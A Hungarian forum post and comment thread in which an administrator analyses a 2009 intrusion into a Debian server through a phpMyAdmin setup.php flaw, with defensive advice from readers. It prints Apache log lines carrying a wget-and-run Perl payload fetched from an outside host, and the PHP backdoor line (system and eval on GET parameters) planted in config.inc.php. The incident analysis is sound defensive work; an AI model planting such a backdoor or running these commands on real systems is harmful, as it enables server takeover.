17358 ? R 942:51 /usr/sbin/apache/log
sorként, a top-ban
17358 www-data 25 0 17776 4052 1304 R 100 0.5 943:17.91 perl
sorként mutatott. Már önmagában gyanús, hogy /usr/sbin/apache/log néven fusson egy program, hiszen az /usr/sbin könyvtáron belül nincs további alkönyvtár. Korábbi tapasztalataim szerencsére gyorsan a megfelelő helyre irányítottak: az Apache naplóból kiderült, hogy a load a
193.226.51.57 - - [29/Jun/2009:02:08:59 +0200] "GET //phpmyadmin///config/config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"
kérés elküldése óta lett magas. Később egy hasonló kód jött egy másik távoli gépről is, ez:
82.79.155.33 - - [29/Jun/2009:02:11:54 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"
Ebből két dolog látszik: maga az ártalmas PERL script lelőhelye, ami egy régi anyag (3 és fél évvel korábban is ez vagy egy ehhez nagyon hasonló script érkezett), illetve az, hogy a phpmyadmin config.inc.php-je képes tetszőleges kód futtatására.
Érdekes módon a config.inc.php valóban elfogadta a c paramétert, és fogtam a fejemet, hogyan lehet ilyen programot írni, ami ennyire könnyen rávehető bármilyen shell parancssor futtatására. Hamar kiderült, a config.inc.php-t módosították, alapból ilyesmit nem tartalmaz.
A módosított sor ez:
$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '
';system($_GET['c']);echo '
';}if($_GET['p']){echo '
';eval($_GET['p']);echo '
';};//'] = 'localhost';
Az eredeti pedig valahogy így nézhetett ki:
$cfg['Servers'][$i]['host']='';
Nagy szerencsémre a "phpmyadmin config.inc.php system eval" Google-keresés első találatán a szerző maga meséli el, hogy az első lépés valóban a config.inc.php módosítása egy saját maga által készített, távolról futtatható programmal. A config.inc.php-t módosítani tudó script csak 3 feltétel teljesülése esetén ártalmas. Ezek közül az egyik az, hogy létezzen a /var/www/phpmyadmin/config könyvtár --- ezt törölhetjük, a benne lévő linket a phpmyadmin webalkalmazás úgyis máshonnan fogja betölteni.
A CPU-t fogó 17358-as processz kilövése után (kill -9 17358
) tehát töröltem (ill. átneveztem és minimális jogosultságúvá módosítottam) a config könyvtárat, és feltételezem, hogy ezzel megint védett a rendszerem.
A Debian rendszerem 4.0-s, a phpmyadmin-om 2.9.1.1-7-es, és ez a javítás nincs fent automatikusan az upgrade-ként feltehető anyagok között. A hibajavítás egyébként 3 hónapja fent van ezen a címen is, aki a hivatalos javítást szeretné feltenni, tegye meg. Az exploit június 4-én készült.
- A hozzászóláshoz be kell jelentkezni
- 7526 megtekintés
Hozzászólások
es meg hogy nem kell virusirto linuxra... :) (kinyitottam firefoxba a .txt-t avira egybol jelzett:)
- A hozzászóláshoz be kell jelentkezni
Mi a phpmyadmin windwsos megfeleloje ?
Amit nem lehet megirni assemblyben, azt nem lehet megirni.
- A hozzászóláshoz be kell jelentkezni
ez hogy jon ide?
---
/* No comment */
Ketchup elementál megidézése a sajt síkra
- A hozzászóláshoz be kell jelentkezni
az hagyján, hogy idejött de mekkora :)
No rainbow, no sugar
- A hozzászóláshoz be kell jelentkezni
Windowsos megfelelő? phpmyadmin?
--
не закурить! (Ne gyújts rá!) не куриться! (Ne dohányozz! Ne füstölögj!)
- A hozzászóláshoz be kell jelentkezni
Helyes a megfejtese.
Amit nem lehet megirni assemblyben, azt nem lehet megirni.
- A hozzászóláshoz be kell jelentkezni
Akkor már csak a kérdés apropóját nem értem.
--
не закурить! (Ne gyújts rá!) не куриться! (Ne dohányozz! Ne füstölögj!)
- A hozzászóláshoz be kell jelentkezni
nyilvan arra volt jelzes hogy irrelevans az os mert total nem errol szol a dolog
edit: nyilvan nem erre volt jelzes
megyek alszom inkabb...
[insert line here]
B.C. 3500 - DIY Vehicle / A.D. 30 - DIY Religion / A.D. 1991 - DIY OS
- A hozzászóláshoz be kell jelentkezni
uber lol
gondolom ezt csak jo viccnek szantad, koszi, jot nevettem :)
--
UBUNTU 9.04 Rock's!
Type cat /vmlinuz > /dev/audio to hear the Voice of God.
- A hozzászóláshoz be kell jelentkezni
ha megnezed a irc10.iceman.ro ircszervert (9999 -es port, #rut szoba), lathatod, hogy meg megszivtak paran ezt ..
___________________
http://kdavid.eu
- A hozzászóláshoz be kell jelentkezni
Javaslom a mod_security hasznalatat a gotroot.com -rol elerheto szabalyokkal egyetemben, csipobol megfogja az ilyen jellegu tamadasokat.
- A hozzászóláshoz be kell jelentkezni
Korrekt tájékoztatás, köszönjük:)
Arról lehet valamit tudni, hogy a config.inc.php-t ki módosította?
- A hozzászóláshoz be kell jelentkezni
Ennyit lehet tudni:
91.121.90.56 - - [28/Jun/2009:19:19:10 +0200] "GET //phpMyAdmin//scripts/setup.php HTTP/1.1" 404 412 "-" "Plesk"
91.121.90.56 - - [28/Jun/2009:21:33:38 +0200] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 200 124 17 "-" "Plesk"
193.226.51.57 - - [29/Jun/2009:02:08:59 +0200] "GET //phpmyadmin///config/config.inc.php?c=hostname HTTP/1.1" 200 20 "-" "Conf"
193.226.51.57 - - [29/Jun/2009:02:08:59 +0200] "GET //phpmyadmin///config/config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"
82.79.155.33 - - [29/Jun/2009:02:11:47 +0200] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 200 12414 "-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:48 +0200] "POST //phpmyadmin//scripts/setup.php HTTP/1.1" 200 19537 "-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:48 +0200] "GET //phpmyadmin//config.inc.php HTTP/1.1" 200 37024
"-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:50 +0200] "GET //phpmyadmin//config.inc.php HTTP/1.1" 200 37029
"-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:51 +0200] "POST //phpmyadmin//scripts/setup.php HTTP/1.1" 200 10
3278 "-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:54 +0200] "GET //phpmyadmin//config.inc.php?c=hostname HTTP/1.1" 200 20 "-" "Conf"
82.79.155.33 - - [29/Jun/2009:02:11:54 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"
# host 91.121.90.56
56.90.121.91.in-addr.arpa domain name pointer www.ilightyou.com.
# host 193.226.51.57
57.51.226.193.in-addr.arpa domain name pointer rms.unibuc.ro.
# host 89.79.155.33
33.155.79.89.in-addr.arpa domain name pointer chello089079155033.chello.pl.
- A hozzászóláshoz be kell jelentkezni
Szerintem nem rossz dolog a phpmyadmin-t htpasswd-vel védeni.
-----
"Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben."
- A hozzászóláshoz be kell jelentkezni
Köszi, jó ötlet. Ezt az egyet kivéve az összes phpmyadmin-os szerverünkön van htpasswd-özés, és jól látszik, hogy csak ez hasalt el, vagyis a htpasswd önmagában elég a védelemhez.
- A hozzászóláshoz be kell jelentkezni
+1
- A hozzászóláshoz be kell jelentkezni
Szerintem meg az egesz phpmyadmin egy rakat .... de mivel nincs mas.Mi azert elege hozza nyultunk a kodjahoz mivel alapbol elege erdekes fuggvenyeket hasznalt + hozza kellet suhosinhoz igazitani ,hogy mennyen.
--
1 leszel vagy 0 élő vagy hulla!
- A hozzászóláshoz be kell jelentkezni
Nem lenne kedved felvenni a kapcsolatot a srácokkal és megbeszélni a módosításaidat? Sokaknak érdeke a biztonságos(abb) kód.
- A hozzászóláshoz be kell jelentkezni
Rögtön az jut eszembe, hogy bármilyen shell hívás miért engedett a PHP-nak? A 80-as port pedig kifelé offolható adott uid-nek is. Persze az url_include es url_fopen is erősen tiltásra ajánott.
Hahh, ilyenkor mindíg örülök, hogy nem suexec apache-ot használok.
- A hozzászóláshoz be kell jelentkezni
+1, php-ból exec és hasonlók első körben iktatandók ki. az utána beérkező panaszokból pedig az is kiderül, melyik ügyfeled nem tud programozni, csak állítja magáról.
--
speak no evil - lipilee.hu
- A hozzászóláshoz be kell jelentkezni
Mi meglepően kevés panasszal találkozunk erre, inkább az allow_url_fopen-t szokták követelni. Ezt szerencsére lehet pervhost engedni, miután szent esküvel fogadta hogy secure a kódja. Persze volt aki fogadta és ugy include-oltak be spammer email formot neki mintállat. Amíg a szerver logot nem mutattam nem hitte el...
- A hozzászóláshoz be kell jelentkezni
+1, és a default url ne /phpmyadmin legyen. Nekem bevált eddig (kopp-kopp)
- A hozzászóláshoz be kell jelentkezni
Hány éves ez a verziójú phpmyadmin? 3? 4?
--
Aries
- A hozzászóláshoz be kell jelentkezni
Gyiii, phpmyadmin -t debian csomagbol telepiteni, ajaj.
- A hozzászóláshoz be kell jelentkezni
szamos ok van arra, hogy miert akarhatod csomagbol.
- van 87.3 szervered. Nem fogsz emlekezni, hova van felrakva. Dokumentalni nyilvan kell, de azert jobb, ha a rendszeres frissitesek elintezik ezt az alkalmazast is es nem kell kezzel csinalnod ebbol tetszoleges 22-n
- amikor meg akarod keresni a gepeket amiken tulkeppen fenn is van, mert pl ezt a cikket olvastad, lehet paranccsal listat generalni (pdsh, dpkg/wajig/akarmi)
- meg ha csomagbol teszed fel sem kotelezo a default eleresi uton at atadni a webszervernek
Azt hiszem a helyzet tavolrol sem kategorikusan "ajajozhato"...
- A hozzászóláshoz be kell jelentkezni
Ugyanakkor van egy ok arra, hogy miért ne akard csomagból.
- A hozzászóláshoz be kell jelentkezni
Hehe, barmire van ok is, magyarazat is.
Nyilvan mindenki maga merlegel, hogy mi faj _neki_ jobban.
Egy biztos: a vegso, univerzalis igazsag nem letezik ebben a kerdesben sem. Ami azt jelenti, hogy meg az elobbi kijelentes is viszonylagos. :-/
- A hozzászóláshoz be kell jelentkezni
Nincs ultimate igazsag, viszont en inkabb preferalok egy frissebb softwaret (foleg, ha tudom, hogy volt mar security problema vele), mint egy par eveset. Ha 87.3 szervered van, amire mindre kell PMA, akkor gyartasz 1 csomagot vagy valamit. Alapbol en is szivesen hasznalom a debian csomagjait, mert egyszeru, szep es konnyu, viszont ha valami ilyen regi szutyok van benne, azt inkabb elkerulom. Bar lehet en latom rosszul.
- A hozzászóláshoz be kell jelentkezni
Sajnos én is találkoztam vele.
Exploit elemzésre itt.
- A hozzászóláshoz be kell jelentkezni
Alap, hogy a phpmyadmin-t ne []/phpmyadmin url-en keresztul erjuk el. Igy a scriptelt letapogatasok jelentos reszet ki is vedtuk.
- A hozzászóláshoz be kell jelentkezni
Mindenképpen +1.. Ez alap dolog kellene hogy legyen a sok script miatt
- A hozzászóláshoz be kell jelentkezni
Sőt, pl. [admin/mysql-admin/xampp/typo3/tools/mysql/dbadmin/]/phpmyadmin -ra is vadásznak szkriptek, és még ki tudja mire. Mod-rewrite és átnevezés + .htaccess azért segíthet valamennyit ezeken.
- A hozzászóláshoz be kell jelentkezni
A roundcube is nagy kedvenc. (Jujj, nem szóltam, állítólag a legjobb webmail kliens...)
"-Pedig vegetariánus vagyok; csak növényevő állatokat fogyasztok!"
azenoldalamponthu
- A hozzászóláshoz be kell jelentkezni
+1
/round//bin/msgimport ref: 0 ip: 201.6.110.251
/roundcube-0.2//bin/msgimport ref: 0 ip: 201.6.110.251
/roundcube-0.1//bin/msgimport ref: 0 ip: 201.6.110.251
/roundcubemail-0.2//bin/msgimport ref: 0 ip: 201.6.110.251
És sorolhatnám.
- A hozzászóláshoz be kell jelentkezni
Köszi az infót!
Gyors teszt alapján ez nem érinti a phpmyadmin 3.x szériát. (a config.sample.php helyesen tartalmazza a kérdéses sort, az "éles" config.inc.php -ban meg nincs ilyesmi)
Igaz forrásból van telepítve és nem "default" könyvtárba (szóval nem /var/www/$), a fájljogokat pedig amennyire csak lehet, korlátoztam alapból. (korábbi [ön]szivatás miatt)
- A hozzászóláshoz be kell jelentkezni
Biztos utánna tudnék járni, de ha már te benne vagy, légyszi ezt a gondolatmenetet fojasd:
"A config.inc.php-t módosítani tudó script csak 3 feltétel teljesülése esetén ártalmas. Ezek közül az egyik az, hogy létezzen a /var/www/phpmyadmin/config könyvtár --- ezt törölhetjük, a benne lévő linket a phpmyadmin webalkalmazás úgyis máshonnan fogja betölteni." Mi a másik 2? csak hogy egész legyen a cikk.
Köszi
- A hozzászóláshoz be kell jelentkezni
Tippjeim: a setup.php megléte és írási jog a config fájlon.
- A hozzászóláshoz be kell jelentkezni
# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)
Forrás (mint korábban): http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt
Tehát rövid válasz nem nagyon van, mindenesetre a "gyári Debian install" beleesik a problémás telepítési halmazba.
- A hozzászóláshoz be kell jelentkezni
Ha mar webservert uzemeltetesz, akkor keszulj fel arra, hogy lehetnek kihasznalhato hibak a programokban.
Ebbol az kovetkezik, hogy kb. ismered mit szoktak tenni mas program futtatasahoz...
wget, curl, lynx, perl, stb -rol leveszed a futtatasi jogot. /tmp noexec. Ha van izmosabb vasad, akkor mod_security.
Ez a kisgyerekek jatekai ellen hatasos szokott lenni altalaban...
- A hozzászóláshoz be kell jelentkezni
+1, sot nodev,nosuid,noexec mehet jonehany particiora. Mert ugy nem csak / van?
- A hozzászóláshoz be kell jelentkezni
> wget, curl, lynx, perl, stb -rol leveszed a futtatasi jogot.
Kerdes, hogy egyaltalan mi a peknek kerulnek fel az ilyenek 'szarvarra'.
- A hozzászóláshoz be kell jelentkezni
pl van csomo stuff, ami perl nelkul fel sem telepul? :)
- A hozzászóláshoz be kell jelentkezni
curl kell soaphoz :)
--
1 leszel vagy 0 élő vagy hulla!
- A hozzászóláshoz be kell jelentkezni
wget pl. azért, mert van olyan hülye, aki drupált használ és a cron.php-t szeretné használni.
- A hozzászóláshoz be kell jelentkezni
Meg esetleg ujabb modulokat telepiteni.
- A hozzászóláshoz be kell jelentkezni
Valamit nem értek. Nekem is van Debian 4.0-as rendszerem, de azon a verzió 2.9.1.1-11 és nem 2.9.1.1-7.
- A hozzászóláshoz be kell jelentkezni
http://www.phpmyadmin.net/home_page/downloads.php - "kezzel" tedd fel inkabb.
- A hozzászóláshoz be kell jelentkezni
Debianek nem patchelik ?
Amit nem lehet megirni assemblyben, azt nem lehet megirni.
- A hozzászóláshoz be kell jelentkezni
A többiekhez képest meglehetősen késve, de patchelik.
"This script is in Debian under normal circumstances protected via Apache authentication. However, because of a recent worm based on this exploit, we are patching it regardless, to also protect installations that somehow still expose the setup.php script."
- A hozzászóláshoz be kell jelentkezni